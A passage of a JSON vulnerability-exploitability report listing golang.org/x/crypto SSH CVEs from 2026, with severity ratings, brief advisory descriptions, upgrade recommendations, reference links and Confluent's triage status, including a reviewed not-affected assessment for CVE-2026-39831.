"https://avd.aquasec.com/nvd/cve-2026-39827" }, { "url": "https://access.redhat.com/security/cve/CVE-2026-39827" }, { "url": "https://go.dev/cl/781320" }, { "url": "https://go.dev/issue/35127" }, { "url": "https://groups.google.com/g/golang-announce/c/a082jnz-LvI" }, { "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-39827" }, { "url": "https://pkg.go.dev/vuln/GO-2026-5016" }, { "url": "https://www.cve.org/CVERecord?id=CVE-2026-39827" } ], "published": "2026-05-22T04:16:21+00:00", "updated": "2026-07-23T16:10:00+00:00", "affects": [ { "ref": "pkg:golang/golang.org/x/crypto@v0.51.0", "versions": [ { "version": "v0.51.0", "status": "affected" } ] }, { "ref": "pkg:golang/golang.org/x/crypto@v0.51.0", "versions": [ { "version": "v0.51.0", "status": "affected" } ] }, { "ref": "pkg:golang/golang.org/x/crypto@v0.51.0", "versions": [ { "version": "v0.51.0", "status": "affected" } ] }, { "ref": "urn:cdx:eed511bf-6a33-40f2-ac5f-8d20e444be69/1#pkg:golang/golang.org/x/crypto@v0.51.0" }, { "ref": "urn:cdx:396d0c45-aab2-431f-80c3-446f04ad8d3b/1#pkg:golang/golang.org/x/crypto@v0.51.0" } ], "analysis": { "state": "not_affected", "justification": "", "response": [ "update" ], "detail": null } }, { "id": "CVE-2026-39828", "source": { "name": "govulndb", "url": "https://pkg.go.dev/vuln/" }, "ratings": [ { "source": { "name": "amazon" }, "severity": "medium" }, { "source": { "name": "azure" }, "severity": "medium" }, { "source": { "name": "redhat" }, "score": 8.8, "severity": "high", "method": "CVSSv31", "vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H" } ], "cwes": [ 295, 281 ], "description": "When an SSH server authentication callback returned PartialSuccessError with non-nil Permissions, those permissions were silently discarded, potentially dropping certificate restrictions such as force-command after a second factor succeeded. Returning non-nil Permissions with PartialSuccessError now results in a connection error.", "recommendation": "Upgrade golang.org/x/crypto to version 0.52.0", "advisories": [ { "url": "https://avd.aquasec.com/nvd/cve-2026-39828" }, { "url": "https://access.redhat.com/errata/RHSA-2026:26546" }, { "url": "https://access.redhat.com/errata/RHSA-2026:26547" }, { "url": "https://access.redhat.com/errata/RHSA-2026:36105" }, { "url": "https://access.redhat.com/errata/RHSA-2026:36167" }, { "url": "https://access.redhat.com/errata/RHSA-2026:36207" }, { "url": "https://access.redhat.com/errata/RHSA-2026:36319" }, { "url": "https://access.redhat.com/errata/RHSA-2026:36625" }, { "url": "https://access.redhat.com/errata/RHSA-2026:36648" }, { "url": "https://access.redhat.com/errata/RHSA-2026:36651" }, { "url": "https://access.redhat.com/errata/RHSA-2026:36796" }, { "url": "https://access.redhat.com/errata/RHSA-2026:36797" }, { "url": "https://access.redhat.com/errata/RHSA-2026:36808" }, { "url": "https://access.redhat.com/errata/RHSA-2026:37268" }, { "url": "https://access.redhat.com/errata/RHSA-2026:37271" }, { "url": "https://access.redhat.com/errata/RHSA-2026:37272" }, { "url": "https://access.redhat.com/errata/RHSA-2026:37278" }, { "url": "https://access.redhat.com/errata/RHSA-2026:37286" }, { "url": "https://access.redhat.com/errata/RHSA-2026:37296" }, { "url": "https://access.redhat.com/errata/RHSA-2026:37387" }, { "url": "https://access.redhat.com/errata/RHSA-2026:40118" }, { "url": "https://access.redhat.com/errata/RHSA-2026:40262" }, { "url": "https://access.redhat.com/errata/RHSA-2026:40945" }, { "url": "https://access.redhat.com/errata/RHSA-2026:40969" }, { "url": "https://access.redhat.com/errata/RHSA-2026:40972" }, { "url": "https://access.redhat.com/errata/RHSA-2026:40974" }, { "url": "https://access.redhat.com/errata/RHSA-2026:41019" }, { "url": "https://access.redhat.com/errata/RHSA-2026:41031" }, { "url": "https://access.redhat.com/errata/RHSA-2026:41036" }, { "url": "https://access.redhat.com/errata/RHSA-2026:41055" }, { "url": "https://access.redhat.com/errata/RHSA-2026:41066" }, { "url": "https://access.redhat.com/errata/RHSA-2026:42146" }, { "url": "https://access.redhat.com/errata/RHSA-2026:42796" }, { "url": "https://access.redhat.com/errata/RHSA-2026:43052" }, { "url": "https://access.redhat.com/errata/RHSA-2026:43692" }, { "url": "https://access.redhat.com/errata/RHSA-2026:46885" }, { "url": "https://access.redhat.com/errata/RHSA-2026:46903" }, { "url": "https://access.redhat.com/errata/RHSA-2026:47735" }, { "url": "https://access.redhat.com/errata/RHSA-2026:48151" }, { "url": "https://access.redhat.com/errata/RHSA-2026:51033" }, { "url": "https://access.redhat.com/errata/RHSA-2026:51038" }, { "url": "https://access.redhat.com/errata/RHSA-2026:52857" }, { "url": "https://access.redhat.com/errata/RHSA-2026:52910" }, { "url": "https://access.redhat.com/errata/RHSA-2026:54531" }, { "url": "https://access.redhat.com/errata/RHSA-2026:57191" }, { "url": "https://access.redhat.com/errata/RHSA-2026:57194" }, { "url": "https://access.redhat.com/errata/RHSA-2026:59467" }, { "url": "https://access.redhat.com/errata/RHSA-2026:60520" }, { "url": "https://access.redhat.com/security/cve/CVE-2026-39828" }, { "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2480687" }, { "url": "https://go.dev/cl/781621" }, { "url": "https://go.dev/issue/79562" }, { "url": "https://groups.google.com/g/golang-announce/c/a082jnz-LvI" }, { "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-39828" }, { "url": "https://pkg.go.dev/vuln/GO-2026-5014" }, { "url": "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-39828.json" }, { "url": "https://www.cve.org/CVERecord?id=CVE-2026-39828" } ], "published": "2026-05-22T04:16:22+00:00", "updated": "2026-09-02T13:17:38+00:00", "affects": [ { "ref": "pkg:golang/golang.org/x/crypto@v0.51.0", "versions": [ { "version": "v0.51.0", "status": "affected" } ] }, { "ref": "pkg:golang/golang.org/x/crypto@v0.51.0", "versions": [ { "version": "v0.51.0", "status": "affected" } ] }, { "ref": "pkg:golang/golang.org/x/crypto@v0.51.0", "versions": [ { "version": "v0.51.0", "status": "affected" } ] }, { "ref": "urn:cdx:eed511bf-6a33-40f2-ac5f-8d20e444be69/1#pkg:golang/golang.org/x/crypto@v0.51.0" }, { "ref": "urn:cdx:396d0c45-aab2-431f-80c3-446f04ad8d3b/1#pkg:golang/golang.org/x/crypto@v0.51.0" } ], "analysis": { "state": "in_triage", "justification": "", "response": [], "detail": "This CVE is under investigation by Confluent." } }, { "id": "CVE-2026-39829", "source": { "name": "govulndb", "url": "https://pkg.go.dev/vuln/" }, "ratings": [ { "source": { "name": "alma" }, "severity": "high" }, { "source": { "name": "amazon" }, "severity": "high" }, { "source": { "name": "azure" }, "severity": "high" }, { "source": { "name": "oracle-oval" }, "severity": "high" }, { "source": { "name": "redhat" }, "score": 7.5, "severity": "high", "method": "CVSSv31", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H" }, { "source": { "name": "rocky" }, "severity": "high" } ], "cwes": [ 347, 1284 ], "description": "The RSA and DSA public key parsers did not enforce size limits on key parameters. A crafted public key with an excessively large modulus or DSA parameter could cause several minutes of CPU consumption during signature verification. This could be triggered by unauthenticated clients during public key authentication. RSA moduli are now limited to 8192 bits, and DSA parameters are validated per FIPS 186-2.", "recommendation": "Upgrade golang.org/x/crypto to version 0.52.0", "advisories": [ { "url": "https://avd.aquasec.com/nvd/cve-2026-39829" }, { "url": "https://access.redhat.com/errata/RHSA-2026:26546" }, { "url": "https://access.redhat.com/errata/RHSA-2026:26547" }, { "url": "https://access.redhat.com/errata/RHSA-2026:29455" }, { "url": "https://access.redhat.com/errata/RHSA-2026:35833" }, { "url": "https://access.redhat.com/errata/RHSA-2026:36199" }, { "url": "https://access.redhat.com/errata/RHSA-2026:36207" }, { "url": "https://access.redhat.com/errata/RHSA-2026:36319" }, { "url": "https://access.redhat.com/errata/RHSA-2026:36625" }, { "url": "https://access.redhat.com/errata/RHSA-2026:36648" }, { "url": "https://access.redhat.com/errata/RHSA-2026:36651" }, { "url": "https://access.redhat.com/errata/RHSA-2026:36796" }, { "url": "https://access.redhat.com/errata/RHSA-2026:36797" }, { "url": "https://access.redhat.com/errata/RHSA-2026:36808" }, { "url": "https://access.redhat.com/errata/RHSA-2026:36820" }, { "url": "https://access.redhat.com/errata/RHSA-2026:36883" }, { "url": "https://access.redhat.com/errata/RHSA-2026:37072" }, { "url": "https://access.redhat.com/errata/RHSA-2026:37123" }, { "url": "https://access.redhat.com/errata/RHSA-2026:37268" }, { "url": "https://access.redhat.com/errata/RHSA-2026:37271" }, { "url": "https://access.redhat.com/errata/RHSA-2026:37272" }, { "url": "https://access.redhat.com/errata/RHSA-2026:37278" }, { "url": "https://access.redhat.com/errata/RHSA-2026:37286" }, { "url": "https://access.redhat.com/errata/RHSA-2026:37296" }, { "url": "https://access.redhat.com/errata/RHSA-2026:37387" }, { "url": "https://access.redhat.com/errata/RHSA-2026:40118" }, { "url": "https://access.redhat.com/errata/RHSA-2026:40262" }, { "url": "https://access.redhat.com/errata/RHSA-2026:40945" }, { "url": "https://access.redhat.com/errata/RHSA-2026:40969" }, { "url": "https://access.redhat.com/errata/RHSA-2026:40972" }, { "url": "https://access.redhat.com/errata/RHSA-2026:40974" }, { "url": "https://access.redhat.com/errata/RHSA-2026:41019" }, { "url": "https://access.redhat.com/errata/RHSA-2026:41031" }, { "url": "https://access.redhat.com/errata/RHSA-2026:41036" }, { "url": "https://access.redhat.com/errata/RHSA-2026:41055" }, { "url": "https://access.redhat.com/errata/RHSA-2026:41066" }, { "url": "https://access.redhat.com/errata/RHSA-2026:42146" }, { "url": "https://access.redhat.com/errata/RHSA-2026:42796" }, { "url": "https://access.redhat.com/errata/RHSA-2026:43052" }, { "url": "https://access.redhat.com/errata/RHSA-2026:43692" }, { "url": "https://access.redhat.com/errata/RHSA-2026:46885" }, { "url": "https://access.redhat.com/errata/RHSA-2026:46903" }, { "url": "https://access.redhat.com/errata/RHSA-2026:47735" }, { "url": "https://access.redhat.com/errata/RHSA-2026:47949" }, { "url": "https://access.redhat.com/errata/RHSA-2026:48151" }, { "url": "https://access.redhat.com/errata/RHSA-2026:48693" }, { "url": "https://access.redhat.com/errata/RHSA-2026:49944" }, { "url": "https://access.redhat.com/errata/RHSA-2026:51033" }, { "url": "https://access.redhat.com/errata/RHSA-2026:52857" }, { "url": "https://access.redhat.com/errata/RHSA-2026:52910" }, { "url": "https://access.redhat.com/errata/RHSA-2026:54400" }, { "url": "https://access.redhat.com/errata/RHSA-2026:54432" }, { "url": "https://access.redhat.com/errata/RHSA-2026:57191" }, { "url": "https://access.redhat.com/errata/RHSA-2026:57194" }, { "url": "https://access.redhat.com/errata/RHSA-2026:57365" }, { "url": "https://access.redhat.com/errata/RHSA-2026:57801" }, { "url": "https://access.redhat.com/errata/RHSA-2026:59467" }, { "url": "https://access.redhat.com/errata/RHSA-2026:59559" }, { "url": "https://access.redhat.com/errata/RHSA-2026:59593" }, { "url": "https://access.redhat.com/errata/RHSA-2026:60446" }, { "url": "https://access.redhat.com/errata/RHSA-2026:60454" }, { "url": "https://access.redhat.com/errata/RHSA-2026:60477" }, { "url": "https://access.redhat.com/errata/RHSA-2026:60520" }, { "url": "https://access.redhat.com/errata/RHSA-2026:61314" }, { "url": "https://access.redhat.com/security/cve/CVE-2026-39829" }, { "url": "https://bugzilla.redhat.com/2480680" }, { "url": "https://bugzilla.redhat.com/2480681" }, { "url": "https://bugzilla.redhat.com/2480685" }, { "url": "https://bugzilla.redhat.com/2480688" }, { "url": "https://bugzilla.redhat.com/2480757" }, { "url": "https://bugzilla.redhat.com/2480761" }, { "url": "https://bugzilla.redhat.com/2493620" }, { "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2480680" }, { "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2480681" }, { "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2480685" }, { "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2480688" }, { "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2480757" }, { "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2480761" }, { "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2493620" }, { "url": "https://creativecommons.org/licenses/by/4.0/" }, { "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-25681" }, { "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-27136" }, { "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-39829" }, { "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-39832" }, { "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-39835" }, { "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-42508" }, { "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-57231" }, { "url": "https://errata.almalinux.org/9/ALSA-2026-37123.html" }, { "url": "https://errata.rockylinux.org/RLSA-2026:37123" }, { "url": "https://go.dev/cl/781641" }, { "url": "https://go.dev/cl/781661" }, { "url": "https://go.dev/issue/79565" }, { "url": "https://groups.google.com/g/golang-announce/c/a082jnz-LvI" }, { "url": "https://linux.oracle.com/cve/CVE-2026-39829.html" }, { "url": "https://linux.oracle.com/errata/ELSA-2026-37123.html" }, { "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-39829" }, { "url": "https://pkg.go.dev/vuln/GO-2026-5018" }, { "url": "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-39829.json" }, { "url": "https://www.cve.org/CVERecord?id=CVE-2026-39829" } ], "published": "2026-05-22T04:16:22+00:00", "updated": "2026-09-03T13:05:33+00:00", "affects": [ { "ref": "pkg:golang/golang.org/x/crypto@v0.51.0", "versions": [ { "version": "v0.51.0", "status": "affected" } ] }, { "ref": "pkg:golang/golang.org/x/crypto@v0.51.0", "versions": [ { "version": "v0.51.0", "status": "affected" } ] }, { "ref": "pkg:golang/golang.org/x/crypto@v0.51.0", "versions": [ { "version": "v0.51.0", "status": "affected" } ] }, { "ref": "urn:cdx:eed511bf-6a33-40f2-ac5f-8d20e444be69/1#pkg:golang/golang.org/x/crypto@v0.51.0" }, { "ref": "urn:cdx:396d0c45-aab2-431f-80c3-446f04ad8d3b/1#pkg:golang/golang.org/x/crypto@v0.51.0" } ], "analysis": { "state": "in_triage", "justification": "", "response": [], "detail": "This CVE is under investigation by Confluent." } }, { "id": "CVE-2026-39830", "source": { "name": "govulndb", "url": "https://pkg.go.dev/vuln/" }, "ratings": [ { "source": { "name": "alma" }, "severity": "high" }, { "source": { "name": "amazon" }, "severity": "high" }, { "source": { "name": "azure" }, "severity": "high" }, { "source": { "name": "oracle-oval" }, "severity": "high" }, { "source": { "name": "redhat" }, "score": 7.5, "severity": "high", "method": "CVSSv31", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H" }, { "source": { "name": "rocky" }, "severity": "high" }, { "source": { "name": "ubuntu" }, "severity": "medium" } ], "cwes": [ 119, 772 ], "description": "A malicious SSH peer could send unsolicited global request responses to fill an internal buffer, blocking the connection's read loop. The blocked goroutine could not be released by calling Close(), resulting in a resource leak per connection. Unsolicited global responses are now discarded.", "recommendation": "Upgrade golang.org/x/crypto to version 0.52.0", "advisories": [ { "url": "https://avd.aquasec.com/nvd/cve-2026-39830" }, { "url": "https://access.redhat.com/errata/RHSA-2026:29455" }, { "url": "https://access.redhat.com/errata/RHSA-2026:35833" }, { "url": "https://access.redhat.com/errata/RHSA-2026:36199" }, { "url": "https://access.redhat.com/errata/RHSA-2026:36207" }, { "url": "https://access.redhat.com/errata/RHSA-2026:36319" }, { "url": "https://access.redhat.com/errata/RHSA-2026:36625" }, { "url": "https://access.redhat.com/errata/RHSA-2026:36648" }, { "url": "https://access.redhat.com/errata/RHSA-2026:36651" }, { "url": "https://access.redhat.com/errata/RHSA-2026:36796" }, { "url": "https://access.redhat.com/errata/RHSA-2026:36797" }, { "url": "https://access.redhat.com/errata/RHSA-2026:36808" }, { "url": "https://access.redhat.com/errata/RHSA-2026:37072" }, { "url": "https://access.redhat.com/errata/RHSA-2026:37268" }, { "url": "https://access.redhat.com/errata/RHSA-2026:37271" }, { "url": "https://access.redhat.com/errata/RHSA-2026:37272" }, { "url": "https://access.redhat.com/errata/RHSA-2026:37275" }, { "url": "https://access.redhat.com/errata/RHSA-2026:37278" }, { "url": "https://access.redhat.com/errata/RHSA-2026:37286" }, { "url": "https://access.redhat.com/errata/RHSA-2026:37296" }, { "url": "https://access.redhat.com/errata/RHSA-2026:37387" }, { "url": "https://access.redhat.com/errata/RHSA-2026:40118" }, { "url": "https://access.redhat.com/errata/RHSA-2026:40262" }, { "url": "https://access.redhat.com/errata/RHSA-2026:40945" }, { "url": "https://access.redhat.com/errata/RHSA-2026:40969" }, { "url": "https://access.redhat.com/errata/RHSA-2026:40972" }, { "url": "https://access.redhat.com/errata/RHSA-2026:40974" }, { "url": "https://access.redhat.com/errata/RHSA-2026:41019" }, { "url": "https://access.redhat.com/errata/RHSA-2026:41031" }, { "url": "https://access.redhat.com/errata/RHSA-2026:41036" }, { "url": "https://access.redhat.com/errata/RHSA-2026:41066" }, { "url": "https://access.redhat.com/errata/RHSA-2026:42146" }, { "url": "https://access.redhat.com/errata/RHSA-2026:42796" }, { "url": "https://access.redhat.com/errata/RHSA-2026:43052" }, { "url": "https://access.redhat.com/errata/RHSA-2026:43692" }, { "url": "https://access.redhat.com/errata/RHSA-2026:46885" }, { "url": "https://access.redhat.com/errata/RHSA-2026:47735" }, { "url": "https://access.redhat.com/errata/RHSA-2026:48151" }, { "url": "https://access.redhat.com/errata/RHSA-2026:49944" }, { "url": "https://access.redhat.com/errata/RHSA-2026:51033" }, { "url": "https://access.redhat.com/errata/RHSA-2026:52857" }, { "url": "https://access.redhat.com/errata/RHSA-2026:52910" }, { "url": "https://access.redhat.com/errata/RHSA-2026:54400" }, { "url": "https://access.redhat.com/errata/RHSA-2026:54531" }, { "url": "https://access.redhat.com/errata/RHSA-2026:57194" }, { "url": "https://access.redhat.com/errata/RHSA-2026:57801" }, { "url": "https://access.redhat.com/errata/RHSA-2026:59467" }, { "url": "https://access.redhat.com/errata/RHSA-2026:60520" }, { "url": "https://access.redhat.com/errata/RHSA-2026:61314" }, { "url": "https://access.redhat.com/security/cve/CVE-2026-39830" }, { "url": "https://bugzilla.redhat.com/2445356" }, { "url": "https://bugzilla.redhat.com/2456333" }, { "url": "https://bugzilla.redhat.com/2456338" }, { "url": "https://bugzilla.redhat.com/2456339" }, { "url": "https://bugzilla.redhat.com/2480681" }, { "url": "https://bugzilla.redhat.com/2480684" }, { "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2445356" }, { "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2456333" }, { "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2456338" }, { "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2456339" }, { "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2480681" }, { "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2480684" }, { "url": "https://creativecommons.org/licenses/by/4.0/" }, { "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-25679" }, { "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-32280" }, { "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-32281" }, { "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-32283" }, { "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-39829" }, { "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-39830" }, { "url": "https://errata.almalinux.org/9/ALSA-2026-29455.html" }, { "url": "https://errata.rockylinux.org/RLSA-2026:29455" }, { "url": "https://github.com/golang/crypto/commit/4e7a7384ecbc8d519f6f4c11b36fa9d761fc8946" }, { "url": "https://go.dev/cl/781640" }, { "url": "https://go.dev/cl/781664" }, { "url": "https://go.dev/issue/79564" }, { "url": "https://groups.google.com/g/golang-announce/c/a082jnz-LvI" }, { "url": "https://linux.oracle.com/cve/CVE-2026-39830.html" }, { "url": "https://linux.oracle.com/errata/ELSA-2026-37072.html" }, { "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-39830" }, { "url": "https://pkg.go.dev/vuln/GO-2026-5017" }, { "url": "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-39830.json" }, { "url": "https://ubuntu.com/security/notices/USN-8447-1" }, { "url": "https://ubuntu.com/security/notices/USN-8447-2" }, { "url": "https://ubuntu.com/security/notices/USN-8447-3" }, { "url": "https://www.cve.org/CVERecord?id=CVE-2026-39830" } ], "published": "2026-05-22T04:16:22+00:00", "updated": "2026-09-03T13:05:34+00:00", "affects": [ { "ref": "pkg:golang/golang.org/x/crypto@v0.51.0", "versions": [ { "version": "v0.51.0", "status": "affected" } ] }, { "ref": "pkg:golang/golang.org/x/crypto@v0.51.0", "versions": [ { "version": "v0.51.0", "status": "affected" } ] }, { "ref": "pkg:golang/golang.org/x/crypto@v0.51.0", "versions": [ { "version": "v0.51.0", "status": "affected" } ] }, { "ref": "urn:cdx:eed511bf-6a33-40f2-ac5f-8d20e444be69/1#pkg:golang/golang.org/x/crypto@v0.51.0" }, { "ref": "urn:cdx:396d0c45-aab2-431f-80c3-446f04ad8d3b/1#pkg:golang/golang.org/x/crypto@v0.51.0" } ], "analysis": { "state": "in_triage", "justification": "", "response": [], "detail": "This CVE is under investigation by Confluent." } }, { "id": "CVE-2026-39831", "source": { "name": "govulndb", "url": "https://pkg.go.dev/vuln/" }, "ratings": [ { "source": { "name": "amazon" }, "severity": "high" }, { "source": { "name": "redhat" }, "score": 8.1, "severity": "high", "method": "CVSSv31", "vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N" }, { "source": { "name": "ubuntu" }, "severity": "medium" } ], "cwes": [ 862 ], "description": "The Verify() method for FIDO/U2F security key types (sk-ecdsa-sha2-nistp256@openssh.com, sk-ssh-ed25519@openssh.com) did not check the User Presence flag. Signatures generated without physical touch were accepted, allowing unattended use of a hardware security key. To restore the previous behavior, return a \"no-touch-required\" extension in Permissions.Extensions from PublicKeyCallback.", "recommendation": "Upgrade golang.org/x/crypto to version 0.52.0", "advisories": [ { "url": "https://avd.aquasec.com/nvd/cve-2026-39831" }, { "url": "https://access.redhat.com/security/cve/CVE-2026-39831" }, { "url": "https://github.com/golang/crypto/commit/b61cf853a89d82cad68da5e12a6beca2116f8456" }, { "url": "https://go.dev/cl/781662" }, { "url": "https://go.dev/issue/79566" }, { "url": "https://groups.google.com/g/golang-announce/c/a082jnz-LvI" }, { "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-39831" }, { "url": "https://pkg.go.dev/vuln/GO-2026-5019" }, { "url": "https://ubuntu.com/security/notices/USN-8447-1" }, { "url": "https://ubuntu.com/security/notices/USN-8447-3" }, { "url": "https://www.cve.org/CVERecord?id=CVE-2026-39831" } ], "published": "2026-05-22T04:16:22+00:00", "updated": "2026-07-23T16:10:00+00:00", "affects": [ { "ref": "pkg:golang/golang.org/x/crypto@v0.51.0", "versions": [ { "version": "v0.51.0", "status": "affected" } ] }, { "ref": "pkg:golang/golang.org/x/crypto@v0.51.0", "versions": [ { "version": "v0.51.0", "status": "affected" } ] }, { "ref": "pkg:golang/golang.org/x/crypto@v0.51.0", "versions": [ { "version": "v0.51.0", "status": "affected" } ] }, { "ref": "urn:cdx:eed511bf-6a33-40f2-ac5f-8d20e444be69/1#pkg:golang/golang.org/x/crypto@v0.51.0" }, { "ref": "urn:cdx:396d0c45-aab2-431f-80c3-446f04ad8d3b/1#pkg:golang/golang.org/x/crypto@v0.51.0" } ], "analysis": { "state": "not_affected", "justification": "", "response": [ "update" ], "detail": "h2. Summary\n\nConfluent Platform's Alertmanager and Prometheus images carry this library version as an unused, transitive dependency. There is no exploitable code path for CVE-2026-39831 in these components today, so there is no immediate customer action required. As with the related CVE-2026-39830, Confluent will pick up the fix via a standard upstream version bump \u2014 the open-source Prometheus project already includes the fix starting at v3.13.0, and Alertmanager starting at v0.34.0 \u2014 in a future release.\n\nh2. Assessment Details\n\nh3. What is CVE-2026-39831?\n\nThis CVE affects the SSH module of a widely used open-source Go library, golang.org/x/crypto. It relates specifically to authentication using FIDO/U2F hardware security keys (the small USB/NFC devices some organizations use for extra-secure logins). Normally, using one of these keys to authenticate over SSH requires a physical touch on the device, confirming a real person is present. A flaw in the library's verification logic meant that, in certain conditions, a signature could be accepted without that physical touch actually happening, undermining the \"prove a human is present\" guarantee the hardware key is meant to provide.\n\nh3. Why doesn't this affect Confluent's Alertmanager and Prometheus images?\n\nJust like the related CVE-2026-39830, our scanning tools flagged this library in the cp-enterprise-alertmanager and cp-enterprise-prometheus images because it's pulled in indirectly, as a dependency of other libraries these components use for non-SSH purposes such as TLS networking support, not because either component performs SSH authentication. Neither Alertmanager nor Prometheus accepts SSH logins, uses SSH keys, or has any SSH server or client functionality anywhere in their code. Both communicate exclusively over HTTP (Alertmanager's API on port 9093, Prometheus's API on port 9090). Since this vulnerability is entirely about the SSH authentication handshake for hardware security keys, and neither program ever performs SSH authentication of any kind, the flawed code is never reached or executed.\n\nh3. How did we verify this?\n\nThis ticket shares the exact same affected package, versions, and codebases as CVE-2026-39830, which we already analyzed in depth. We confirmed the same conclusion applies here using the same two independent methods:\n\n# We used the Go build tooling directly to check whether the SSH module is needed by these programs at all, and it confirmed it is not required by either component.\n# We ran govulncheck, which builds a full call graph of each program and checks whether any code path actually reaches the vulnerable functions. It found no such path for this CVE in either component, while in the same scan correctly identifying and tracing dozens of other, unrelated vulnerabilities with concrete evidence of where they are actually called from.\n# We manually searched the source code of every affected version of both projects for any reference to the SSH module and found none outside of test code.\n\nAI-generated analysis. Reviewed and approved for customer sharing by a security engineer before use." } }, { "id": "CVE-2026-39832", "source": { "name": "govulndb", "url": "https://pkg.go.dev/vuln/" }, "ratings": [ { "source": { "name": "alma" }, "severity": "high" }, { "source": { "name": "amazon" }, "severity": "medium" }, { "source": { "name": "azure" }, "severity": "high" }, { "source": { "name": "oracle-oval" }, "severity": "high" }, { "source": { "name": "redhat" }, "score": 8.7, "severity": "high", "method": "CVSSv31", "vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N" }, { "source": { "name": "rocky" }, "severity": "high" }, { "source": { "name": "ubuntu" }, "severity": "medium" } ], "cwes": [ 502, 281 ], "description": "When adding a key to a remote agent constraint extensions such as restrict-destination-v00@openssh.com were not serialized in the request. Destination restrictions were silently stripped when forwarding keys, allowing unrestricted use of the key on the remote host. The client now serializes all constraint extensions. Additionally, the in-memory keyring returned by NewKeyring() now rejects keys with unsupported constraint extensions instead of silently ignoring them.", "recommendation": "Upgrade golang.org/x/crypto to version 0.52.0", "advisories": [ { "url": "https://avd.aquasec.com/nvd/cve-2026-39832" }, { "url": "https://access.redhat.com/errata/RHSA-2026:35833" }, { "url": "https://access.redhat.com/errata/RHSA-2026:36199" }, { "url": "https://access.redhat.com/errata/RHSA-2026:36319" }, { "url": "https://access.redhat.com/errata/RHSA-2026:36625" }, { "url": "https://access.redhat.com/errata/RHSA-2026:36648" }, { "url": "https://access.redhat.com/errata/RHSA-2026:36651" }, { "url": "https://access.redhat.com/errata/RHSA-2026:36796" }, { "url": "https://access.redhat.com/errata/RHSA-2026:36797" }, { "url": "https://access.redhat.com/errata/RHSA-2026:37072" }, { "url": "https://access.redhat.com/errata/RHSA-2026:37123" }, { "url": "https://access.redhat.com/errata/RHSA-2026:37271" }, { "url": "https://access.redhat.com/errata/RHSA-2026:37387" }, { "url": "https://access.redhat.com/errata/RHSA-2026:37410" }, { "url": "https://access.redhat.com/errata/RHSA-2026:40118" }, { "url": "https://access.redhat.com/errata/RHSA-2026:40262" }, { "url": "https://access.redhat.com/errata/RHSA-2026:40945" }, { "url": "https://access.redhat.com/errata/RHSA-2026:40972" }, { "url": "https://access.redhat.com/errata/RHSA-2026:41019" }, { "url": "https://access.redhat.com/errata/RHSA-2026:41031" }, { "url": "https://access.redhat.com/errata/RHSA-2026:41036" }, { "url": "https://access.redhat.com/errata/RHSA-2026:41066" }, { "url": "https://access.redhat.com/errata/RHSA-2026:42146" }, { "url": "https://access.redhat.com/errata/RHSA-2026:42796" }, { "url": "https://access.redhat.com/errata/RHSA-2026:43052" }, { "url": "https://access.redhat.com/errata/RHSA-2026:43692" }, { "url": "https://access.redhat.com/errata/RHSA-2026:49944" }, { "url": "https://access.redhat.com/errata/RHSA-2026:52857" }, { "url": "https://access.redhat.com/errata/RHSA-2026:52910" }, { "url": "https://access.redhat.com/errata/RHSA-2026:57194" }, { "url": "https://access.redhat.com/errata/RHSA-2026:59579" }, { "url": "https://access.redhat.com/errata/RHSA-2026:61314" }, { "url": "https://access.redhat.com/security/cve/CVE-2026-39832" }, { "url": "https://bugzilla.redhat.com/2480680" }, { "url": "https://bugzilla.redhat.com/2480685" }, { "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2480680" }, { "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2480685" }, { "url": "https://creativecommons.org/licenses/by/4.0/" }, { "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-39832" }, { "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-39835" }, { "url": "https://errata.almalinux.org/9/ALSA-2026-37410.html" }, { "url": "https://errata.rockylinux.org/RLSA-2026:37410" }, { "url": "https://github.com/golang/crypto/commit/e3d1254f1e7e60baa086142c46174bf6d8d0fe50" }, { "url": "https://go.dev/cl/778640" }, { "url": "https://go.dev/cl/778641" }, { "url": "https://go.dev/cl/778642" }, { "url": 